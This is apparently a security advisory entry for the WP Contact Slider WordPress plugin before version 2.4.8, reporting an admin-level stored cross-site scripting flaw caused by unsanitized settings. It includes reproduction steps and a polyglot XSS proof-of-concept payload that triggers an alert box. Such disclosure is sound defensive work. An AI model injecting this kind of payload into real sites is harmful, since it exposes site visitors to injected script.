WP Contact Slider < 2.4.8 - Admin+ Stored Cross-Site Scripting

2022-10-1000:00:00

Asif Nawaz Minhas

wordpress

contact slider

xss

cross-site scripting

admin

frontend pages

exploit

0.001 Low

EPSS

Percentile

24.8%

JSON

The plugin does not sanitize and escape its settings, allowing high privilege users such as admin to perform cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.

Create/edit a Contact slider and put the payload below in the "Text to display" option:

<p>';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></p>

The XSS will be triggered in page/post where the Slider is embed, of all frontend pages if the "display on all pages" option is ticked in the slider

0.001 Low

EPSS

Percentile

24.8%

JSON

Related for WPEX-ID:CD2FD6CD-A839-4DE8-AF28-B5134873C40E